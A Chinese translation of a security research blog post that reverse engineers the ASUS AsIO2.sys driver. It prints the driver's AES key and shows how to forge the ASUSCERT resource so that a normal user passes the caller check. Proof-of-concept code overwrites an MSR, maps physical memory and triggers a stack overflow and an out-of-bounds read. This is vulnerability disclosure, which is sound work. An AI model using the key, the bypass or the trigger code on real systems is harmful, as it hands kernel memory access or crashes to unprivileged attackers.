华硕ASIO2.sys驱动程序逆向分析研究
2020-04-13 11:45:00 Author: www.4hou.com(查看原文) 阅读量:487 收藏

我有个朋友买了一台新PC,然后他在GPU上安装了风扇,并将其连接到GPU板上的接头连接器上,不幸的是,在Linux上设置风扇速度似乎并不容易,风扇不旋转。

在Windows上,可以使用ASUS GPU Tweak II。因此,我想将其逆向分析一下了解其工作原理。

https://www.asus.com/supportonly/GPUTweak%20II/HelpDesk_Download

看过各种文件和驱动程序后, AsIO2.sys是一个不错的选择。

作为参考,该版本与GPU Tweak 2.1.7.1版放在一起:

 5ae23f1fcf3fb735fcf1fa27f27e610d9945d668a149c7b7b0c84ffd6409d99a AsIO2_64.sys

IDA静态分析

我试图看看Ghidra是否有用,但是由于它不包括WDK类型,所以我还是使用了Hex-Rays。

main函数很简单:

 __int64 __fastcall main(PDRIVER_OBJECT DriverObject)
 {
   NTSTATUS v2; // ebx
   struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h]
   struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h]
   PDEVICE_OBJECT DeviceObject; // [rsp+70h] [rbp+8h]
 
   DriverObject->MajorFunction[IRP_MJ_CREATE] = dispatch;
   DriverObject->MajorFunction[IRP_MJ_CLOSE] = dispatch;
   DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = dispatch;
   DriverObject->DriverUnload = unload;
   RtlInitUnicodeString(&DestinationString, L"\\Device\\Asusgio2");
   v2 = IoCreateDevice(DriverObject, 0, &DestinationString, 0xA040u, 0, 0, &DeviceObject);
   if ( v2 < 0 )
     return (unsigned int)v2;
   RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\Asusgio2");
   v2 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
   if ( v2 < 0 )
     IoDeleteDevice(DeviceObject);
   return (unsigned int)v2;
 }

驱动程序仅注册一个函数,我dispatch为主要事件调用了该函数 ,当然,设备路径也很重要: \\Device\\Asusgio2。

AsIO2.sys它带有一个随附的DLL,它使我们可以更轻松地调用各种函数。

这是清单:

 ASIO_CheckReboot
 ASIO_Close
 ASIO_GetCpuID
 ASIO_InPortB
 ASIO_InPortD
 ASIO_MapMem
 ASIO_Open
 ASIO_OutPortB
 ASIO_OutPortD
 ASIO_ReadMSR
 ASIO_UnmapMem
 ASIO_WriteMSR
 AllocatePhysMemory
 FreePhysMemory
 GetPortVal
 MapPhysToLin
 OC_GetCurrentCpuFrequency
 SEG32_CALLBACK
 SetPortVal
 UnmapPhysicalMemory

检查一下是否每个人都可以访问它。

设备访问安全

可以在设备创建代码中注意到它是使用IoCreateDevice而不是 使用 IoCreateDeviceSecure创建的,这意味着安全描述符将从注册表(最初是从.inf文件)中获取(如果存在)。

因此,从理论上讲,User都可以访问设备。但是,当尝试获取WinObj中的属性时,即使是admin,也会出现“访问被拒绝”错误。使用WinDbg可以检查安全描述符直接以确认:

 0: kd> !devobj \device\asusgio2
 Device object (ffff9685541c3d40) is for:
  Asusgio2 \Driver\Asusgio2 DriverObject ffff968551f33d40
 Current Irp 00000000 RefCount 1 Type 0000a040 Flags 00000040
 SecurityDescriptor ffffdf84fd2b90a0 DevExt 00000000 DevObjExt ffff9685541c3e90 
 ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
 Characteristics (0000000000)  
 Device queue is not busy.
 0: kd> !sd ffffdf84fd2b90a0 0x1
 ->Revision: 0x1
 ->Sbz1    : 0x0
 ->Control : 0x8814
             SE_DACL_PRESENT
             SE_SACL_PRESENT
             SE_SACL_AUTO_INHERITED
             SE_SELF_RELATIVE
 ->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
 ->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
 ->Dacl    : 
 ->Dacl    : ->AclRevision: 0x2
 ->Dacl    : ->Sbz1       : 0x0
 ->Dacl    : ->AclSize    : 0x5c
 ->Dacl    : ->AceCount   : 0x4
 ->Dacl    : ->Sbz2       : 0x0
 ->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
 ->Dacl    : ->Ace[0]: ->AceFlags: 0x0
 ->Dacl    : ->Ace[0]: ->AceSize: 0x14
 ->Dacl    : ->Ace[0]: ->Mask : 0x001201bf
 ->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)
 [...]

实际上,Everyone应该具有RWE访问权限(0x001201bf)。但是由于某些原因,即使以管理员身份运行,WinObj也会出现“访问被拒绝”错误。

Caller  进程检查

为什么无法打开设备?让我们深入研究该dispatch函数,在开始时,我们可以看到sub_140001EA8调用来确定访问是否会失败。

   if ( !info->MajorFunction ) {
     res = !sub_140001EA8() ? STATUS_ACCESS_DENIED : 0;
     goto end;
   }

sub_140001EA8里面有一些有趣的东西,包括函数sub_1400017B8:

 [...]
   v4 = ZwQueryInformationProcess(-1i64, ProcessImageFileName, v3);
       if ( v4 >= 0 )
         RtlCopyUnicodeString(DestinationString, v3);

因此,它查询执行请求的进程路径,将其传递给sub_140002620,然后将其读入新分配的缓冲区中:

 if ( ZwOpenFile(&FileHandle, 0x80100000, &ObjectAttributes, &IoStatusBlock, 1u, 0x20u) >= 0
     && ZwQueryInformationFile(FileHandle, &IoStatusBlock, &FileInformation, 0x18u, FileStandardInformation) >= 0 )
   {
     buffer = ExAllocatePoolWithTag(NonPagedPool, FileInformation.EndOfFile.LowPart, 'pPR');
     res = buffer;
     if ( buffer )
     {
       memset(buffer, 0, FileInformation.EndOfFile.QuadPart);
       if ( ZwReadFile( FileHandle, 0i64, 0i64, 0i64, &IoStatusBlock, res,
              FileInformation.EndOfFile.LowPart, &ByteOffset, 0i64) < 0 )

重命名这些函数:check_caller,get_process_name,read_file,get_PE_timestamp

 .text:140002DA8 get_PE_timestamp proc near              ; CODE XREF: check_caller+B3↑p
 .text:140002DA8                 test    rcx, rcx
 .text:140002DAB                 jnz     short loc_140002DB3
 .text:140002DAD                 mov     eax, STATUS_UNSUCCESSFUL
 .text:140002DB2                 retn
 .text:140002DB3 ; ---------------------------------------------------------------------------
 .text:140002DB3
 .text:140002DB3 loc_140002DB3:                          ; CODE XREF: get_PE_timestamp+3↑j
 .text:140002DB3                 movsxd  rax, [rcx+IMAGE_DOS_HEADER.e_lfanew]
 .text:140002DB7                 mov     ecx, [rax+rcx+IMAGE_NT_HEADERS.FileHeader.TimeDateStamp]
 .text:140002DBB                 xor     eax, eax
 .text:140002DBD                 mov     [rdx], ecx
 .text:140002DBF                 retn
 .text:140002DBF get_PE_timestamp endp

看一下check_call:

 res = get_PE_timestamp(file_ptr, &pe_timestamp);
 if ( res >= 0 ) {
   res = sub_1400028D0(file_ptr, &pos, &MaxCount);
   if ( res >= 0 ) {
     if ( MaxCount > 0x10 )
       res = STATUS_ACCESS_DENIED;
     else {
       some_data = 0i64;
       memmove(&some_data, (char *)file_ptr + pos, MaxCount);
       aes_decrypt(&some_data);
       diff = pe_timestamp - some_data;
       diff2 = pe_timestamp - some_data;
       if ( diff2 < 0 )
       {
         diff = some_data - pe_timestamp;
         diff2 = some_data - pe_timestamp;
       }
       res = STATUS_ACCESS_DENIED;
       if ( diff < 7200 )
         res = 0;
     }
   }
 }

sub_1400028D0从调用的进程二进制文件中读取一些信息,使用AES解密它,并检查它是否在PE时间戳记的2小时内……

绕过检测

其中一个子函数给了很大的提示:

 bool __fastcall compare_string_to_ASUSCERT(PCUNICODE_STRING String1)
 {
   _UNICODE_STRING DestinationString; // [rsp+20h] [rbp-18h]
 
   RtlInitUnicodeString(&DestinationString, L"ASUSCERT");
   return RtlCompareUnicodeString(String1, &DestinationString, 0) == 0;
 }

该代码解析调用PE来查找名为ASUSCERT的资源,我们可以在atkexComSvc.exe使用驱动程序的服务中进行验证:

我们可以用openssl来检查解密后的值是否与PE时间戳相对应:

 $ openssl aes-128-ecb -nopad -nosalt -d -K AA7E151628AED2A6ABF7158809CF4F3C -in ASUSCERT.dat  |hd
 00000000  38 df 6d 5d 00 00 00 00  00 00 00 00 00 00 00 00  |8.m]............|
 $ date --date="@$((0x5d6ddf38))"
 Tue Sep  3 05:34:16 CEST 2019
 $ x86_64-w64-mingw32-objdump -x atkexComSvc.exe|grep -i time/date
 Time/Date  Tue Sep  3 05:34:37 2019

一旦知道了这一点,我们只需要生成具有正确ASUSCERT资源并使用驱动程序的PE即可。

在Linux上为Windows编译

由于我讨厌Visual Studio版本,非常占用内存,在Linux下更加舒适,因此我准备在Debian上编译所有内容。

只需使用安装必需的工具即可apt install mingw-w64。

Makefile包括windres用于编译资源文件的资源,该文件由gcc直接链接!

 CC=x86_64-w64-mingw32-gcc
 COPTS=-std=gnu99
 
 asio2: asio2.c libAsIO2_64.a ASUSCERT.o
  $(CC) $(COPTS) -o asio2 -W -Wall asio2.c  libAsIO2_64.a ASUSCERT.o
 
 libAsIO2_64.a: AsIO2_64.def
  x86_64-w64-mingw32-dlltool -d AsIO2_64.def -l libAsIO2_64.a
 
 ASUSCERT.o:
  ./make_ASUSCERT.py
  x86_64-w64-mingw32-windres ASUSCERT.rc ASUSCERT.o

笔记:

· 我使用Dll2Def创建了.def

· make_ASUSCERT.py 只是获取当前时间并将其加密以生成 ASUSCERT_now.dat

· ASUSCERT.rc 是一行: ASUSCERT RCDATA ASUSCERT_now.dat

Dll2Def`没有用,可以直接将dll指定为gcc:

 $(CC) $(COPTS) -o asio2 -W -Wall asio2.c  AsIO2_64.dll ASUSCERT.o

使用 AsIO2.sys

作为普通用户,我们现在可以使用驱动程序提供的所有功能。例如:BSOD通过覆盖IA32_LSTARMSR:

 extern int ASIO_WriteMSR(unsigned int msr_num, uint64_t *val);
 
 ASIO_WriteMSR(0xC0000082, &value);

或分配和映射任意物理内存:

 value = ASIO_MapMem(0xF000, 0x1000);
 
 printf("MapMem: %016" PRIx64 "\n", value);
 hexdump("0xF000", (void *)value, 0x100);

显示如下:

 MapMem: 000000000017f000
 0xF000
   0000  00 f0 00 40 ec f7 ff ff 00 40 00 40 ec f7 ff ff  ...@.....@.@....
   0010  cb c8 44 0e 00 00 00 00 46 41 43 50 f4 00 00 00  ..D.....FACP....
   0020  04 40 49 4e 54 45 4c 20 34 34 30 42 58 20 20 20  .@INTEL 440BX
   0030  00 00 04 06 50 54 4c 20 40 42 0f 00 00 30 f7 0f  ....PTL @B...0..
   0040  b0 e1 42 0e 00 00 09 00 b2 00 00 00 00 00 00 00  ..B.............
   0050  40 04 00 00 00 00 00 00 44 04 00 00 00 00 00 00  @.......D.......
   0060  00 00 00 00 48 04 00 00 4c 04 00 00 00 00 00 00  ....H...L.......

漏洞挖掘

BSOD并读取resources

如反编译代码所示, 资源条目的OffsetToData字段将ASUSCERT添加到节的偏移量中,并且在读取资源值时将被取消引用。

 if ( compare_string_to_ASUSCERT(&String1) )
 {
     ASUSCERT_entry_off = next_dir->entries[j].OffsetToData;
     LODWORD(ASUSCERT_entry_off) = ASUSCERT_entry_off & 0x7FFFFFFF;
     ASUSCERT_entry = (meh *)((char *)rsrc + ASUSCERT_entry_off);
     if ( (ASUSCERT_entry->entries[j].OffsetToData & 0x80000000) == 0 )
     {
         ASUSCERT_off = ASUSCERT_entry->entries[0].OffsetToData;
         *res_size = *(unsigned int *)((char *)&rsrc->Size + ASUSCERT_off);
         if ( *(DWORD *)((char *)&rsrc->OffsetToData + ASUSCERT_off) )
         v25 = *(unsigned int *)((char *)&rsrc->OffsetToData + ASUSCERT_off)
             + sec->PointerToRawData
             - (unsigned __int64)sec->VirtualAddress;
         else
         v25 = 0i64;
         *asus_cert_pos = v25;
         res = 0;
         break;
     }
 }

因此,将设置OffsetToData为较大的值将触发越界读取和BSOD:

 *** Fatal System Error: 0x00000050
                        (0xFFFF82860550C807,0x0000000000000000,0xFFFFF8037D4F3140,0x0000000000000002)
 
 Driver at fault: 
 ***     AsIO2.sys - Address FFFFF8037D4F3140 base at FFFFF8037D4F0000, DateStamp 5cac6cf4
 
 0: kd> kv
  #  RetAddr           : Args to Child                        : Call Site
 00  fffff803`776a9942 : ffff8286`0550c807 00000000`00000003  : nt!DbgBreakPointWithStatus
 [...]
 06  fffff803`7d4f3140 : fffff803`7d4f1fb3 00000000`00000000  : nt!KiPageFault+0x360
 07  fffff803`7d4f1fb3 : 00000000`00000000 ffff8285`05514000  : AsIO2+0x3140
 08  fffff803`7d4f1b96 : 00000000`c0000002 00000000`00000000  : AsIO2+0x1fb3
 09  fffff803`7750a939 : fffff803`77aaf125 00000000`00000000  : AsIO2+0x1b96
 0a  fffff803`775099f4 : 00000000`00000000 00000000`00000000  : nt!IofCallDriver+0x59
 [...]
 15  00000000`0040176b : 00007ffe`fa041b1c 00007ffe`ebd2a336  : AsIO2_64!ASIO_Open+0x45
 16  00007ffe`fa041b1c : 00007ffe`ebd2a336 00007ffe`ebd2a420  : asio2_rsrc_bsod+0x176b

AsIO2+0x1fb3是紧接在memmove地址的地址:

 memmove(&ASUSCERT, (char *)file_ptr + asus_cert_pos, MaxCount);
 decrypt(&ASUSCERT);

缓冲区溢出

该UnMapMem函数容易受到驱动程序可能具有的缓冲区溢出漏洞的影响:

   map_mem_req Dst; // [rsp+40h] [rbp-30h]
   [...]
   v15 = info->Parameters.DeviceIoControl.InputBufferLength;
   memmove(&Dst, Irp->AssociatedIrp.SystemBuffer, size);

可以通过以下简单的方式触发:

 #define ASIO_UNMAPMEM 0xA0402450
 int8_t buffer[0x48] = {0};
 DWORD returned;
 
 DeviceIoControl(driver, ASIO_UNMAPMEM, buffer, sizeof(buffer), 
                                        buffer, sizeof(buffer),
                                        &returned, NULL);

由于堆栈cookie验证,较小的缓冲区将触发BugCheck,而较长的缓冲区(4096)将仅触发读取的边界:

 *** Fatal System Error: 0x00000050
                        (0xFFFFD48D003187C0,0x0000000000000002,0xFFFFF806104031D0,0x0000000000000002)
 
 Driver at fault: 
 ***     AsIO2.sys - Address FFFFF806104031D0 base at FFFFF80610400000, DateStamp 5cac6cf4
 
 0: kd> kv
  #  RetAddr           : Args to Child                       : Call Site
 00  fffff806`0c2a9942 : ffffd48d`003187c0 00000000`00000003 : nt!DbgBreakPointWithStatus
 [...]
 06  fffff806`104031d0 : fffff806`10401a0a ffffc102`cef7a948 : nt!KiPageFault+0x360
 07  fffff806`10401a0a : ffffc102`cef7a948 ffffe008`00000000 : AsIO2+0x31d0
 08  fffff806`0c10a939 : ffffc102`cc0f9e00 00000000`00000000 : AsIO2+0x1a0a
 09  fffff806`0c6b2bd5 : ffffd48d`00317b80 ffffc102`cc0f9e00 : nt!IofCallDriver+0x59
 0a  fffff806`0c6b29e0 : 00000000`00000000 ffffd48d`00317b80 : nt!IopSynchronousServiceTail+0x1a5
 0b  fffff806`0c6b1db6 : 00007ffb`3634e620 00000000`00000000 : nt!IopXxxControlFile+0xc10
 0c  fffff806`0c1d3c15 : 00000000`00000000 00000000`00000000 : nt!NtDeviceIoControlFile+0x56
 0d  00007ffb`37c7c1a4 : 00007ffb`357d57d7 00000000`00000018 : nt!KiSystemServiceCopyEnd+0x25 
 0e  00007ffb`357d57d7 : 00000000`00000018 00000000`00000001 : ntdll!NtDeviceIoControlFile+0x14

Bug:broken的64位代码

该AllocatePhysMemory函数在64位上中断:

       alloc_virt = MmAllocateContiguousMemory(*systembuffer_, (PHYSICAL_ADDRESS)0xFFFFFFFFi64);
       HIDWORD(systembuffer) = (_DWORD)alloc_virt;
       LODWORD(systembuffer) = MmGetPhysicalAddress(alloc_virt).LowPart;
       *(_QWORD *)systembuffer_ = systembuffer;

MmAllocateContiguousMemory 返回64位值,但是代码将其截断为32位,然后再将其返回到用户区,这可能稍后会触发BSOD。

参考资料

https://www.secureauth.com/labs/advisories/asus-drivers-elevation-privilege-vulnerabilities

https://gist.github.com/hfiref0x/585e22bc50f07c4baf0d5f6b7fcba0f9

本文翻译自:https://syscall.eu/blog/2020/03/30/asus_gio/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/BRzX
如有侵权请联系:admin#unsafe.sh